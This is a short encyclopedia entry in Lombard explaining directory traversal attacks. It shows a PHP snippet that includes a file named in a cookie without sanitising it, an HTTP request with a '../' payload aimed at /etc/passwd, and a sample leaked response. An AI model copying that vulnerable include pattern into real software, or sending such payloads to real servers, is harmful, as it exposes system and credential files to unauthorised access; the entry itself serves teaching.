El Directory traversal attack a l'è un atach informategh, un cas specifegh de IDOR, fondad in su 'na sanificazzion minga bona de 'n input che 'l revarda 'n elaborazzion in su di file che inn dent a 'na directory e che 'l permet de havégh un acess minga autorizzad al file system, che de solit doperen la possibilità de scalà l'alber di directory con la stringa ../.

A l'è anca possibel doperà un atach compagn cont i file compress.

Esempi Pensom a 'n aplicazzion PHP fada inscì, che la permet de scernì foeura un template per el sit. <?php $template = 'red.php'; if (isset($_COOKIE['TEMPLATE'])) { $template = $_COOKIE['TEMPLATE']; } include "/home/users/phpguru/templates/" . $template;

Se vun el manda una suplega HTTP del tipo: GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwd

L'aplicazzion la respondarà: HTTP/1.0 200 OK Content-Type: text/html Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh daemon:*:1:1::/tmp: phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

I vari carater hann fad andà la fonzion de include indree in su l'alber per poeu permetégh de rivà a /etc/passwd, che 'l gh'ha dent di informazzion in sui utent e, despess, anca i password.

Riferiment Web App Sec

Categoria:Atach informategh